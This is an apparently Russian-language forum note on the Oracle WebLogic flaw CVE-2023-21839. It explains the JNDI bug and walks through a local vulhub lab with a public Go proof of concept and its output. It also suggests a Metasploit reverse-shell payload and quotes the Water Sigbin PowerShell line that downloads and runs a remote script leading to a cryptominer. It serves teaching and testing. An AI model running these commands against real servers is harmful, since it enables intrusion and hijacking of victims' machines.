CVE-2023-21839 - краткий обзор и актуализация
Без лишней воды, выдаем сухие факты, раз это у нас заметка. Кстати, специально для телеграма Knightpentest (админ крутой, можете и подписаться).CVE-2023-21839 - уязвимость, которая была обнаружена ещё в начале 2023 года, вроде и исправлена, но до сих пор актуальна. Успешные атаки с использованием этой уязвимости могут привести к несанкционированному доступу к критическим данным или полному доступу ко всем данным, к которым есть доступ через Oracle WebLogic Server. Или к запуску произвольного кода.
Уязвимые версии: 12.2.1.3.0 - 14.1.1.0.0.
В середине мая 2024 года, киберпреступная группировка Water Sigbin использовала эту уязвимость для развертывания майнеров на удаленных машинах и кстати весьма успешно. Подробнее
Ссылка скрыта от гостей
.Краткая суть уязвимости
Корень проблемы здесь заключается в том, что протоколы WebLogic T3 и IIOP поддерживают JNDI для привязки и поиска удаленных объектов.
Уязвимость срабатывает в момент вызова
ForeignOpaqueReference.getReferent()
и происходит по следующему сценарию:- Сначала класс javax.naming.initialcontext.java считывает тип —
Hashtable
. - Злоумышленник в свою очередь создает новый тип
Hashtable
и передаетweblogic.jndi.WLInitialContextFactory
вINITIAL_CONTEXT_FACTORY
в качестве параметров URL-адрес целевого сервера. - Затем злоумышленник создает экземпляр
InitialContext
объекта, используяgetInitialContext
метод классаInitialContext
. - После злоумышленник получает функцию defaultInitCtx. Но функция defaultInitCtx не значение объекта, а ее класс реализации —
WLContext().
- Используя метод bind злоумышенник связывает
WLContext
с вызовомForeignOpaqueReference.getReferent()
, который позволяет удаленно загрузить любой URL.
Для начала запустим уязвимый сервер на нашей машине, сделать это можно с помощью репозитория vulndb, если у вас его нету:
Код:
git clone https://github.com/vulhub/vulhub.git
Переходим в директорию /Weblogic/CVE-2023/ и запускаем с помощью докера нашу уязвимую среду:
Код:
docker-compose up -d
Переходим по локальному IP адресу и нас должно встретить вот такое:
И существует несколько рабочих PoC эксплоитов для проверки этой уязвимости, но все сводятся к одному. Воспользуемся самым простым - CVE-2023-218839.
Все сводится к этим двум командам:
Код:
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/Allo
Сперва компилируем, а после запускаем эксплоит c необходимыми параметрами, -IP - это адрес атакуемого устройства, а -ldap является URL того ,что нам необходимо загрузить.
Перейдя в DNS-log атакуемого устройства, мы видим следующую картину:
Код:
CVE-2023-21839.exe -ip 192.168.25.129 -port 7001 -ldap ldap://dea684.dnslog.kz/allo
[*] your-ip: 192.168.25.129
[*] your-port: 7001
[*] your-ldap: ldap://dea684.dnslog.kz/allo
[*] weblogic 12
[*] id=2 LocateRequest
[*] id=3 RebindRequest
[*] id=4 RebindRequest
[*] id=5 LocateRequest
[*] id=6 ResolveRequest
[*] id=7 ResolveRequest
Успех. На данном этапе наш LDAP сервер не содержит ничего, но если злоумышленник его настроит и поместит туда какой-то эксплоит.
Допустим, злоумышленник разместил на LDAP сервредоносный Java-файл, который будет получен сервером WebLogic в ходе экплатуации. Серверы LDAP предназначены для размещения информации каталога службы, но в этом случае он будет содержать объект Java, который WebLogic будет использовать для получения информации о каталоге, что приведет к запуску нашего кода эксплойта. К слову, это может быть любой не профикшенный эксплоит.
Для самого банального примера, мы можем возпользоваться Метасплоитом с полезной нагрузкой в виде
java/meterpreter/reverse_tcp
с мультихандлером в качестве слушателя и получить обратную оболочку сервера. Или же мы можем поступить, как Water Sigbin и заставить сервер выполнить команду powershell, которая скачает и запустит вредоносный .ps1 скрипт.В декодированном виде это:
Код:
powershell "IEX(New-Object Net.WebClient).DownloadString('http://185.172.128.146:443/bin.ps1')"
Сам же скрипт в свою очередь скачает .bat, а тот в свою очередь майнер. Очень простая, но работоспособная цепочка, чем-то похожа на BatLoader.
Возможностей уйма, уязвимость гибкая.
Выводы
Уязвимость проста, очень проста и это её главная проблема. И не смотря на то, что с момента её исправления прошло уже достаточно много времени, мы имеем достаточное количество уязвимых машин в сети. Мной было проведено небольшое исследование через Shodan и ZoomEye: уязвимых машин много, можете сами в этом убедиться. А тут уже заметке конец.
Последнее редактирование: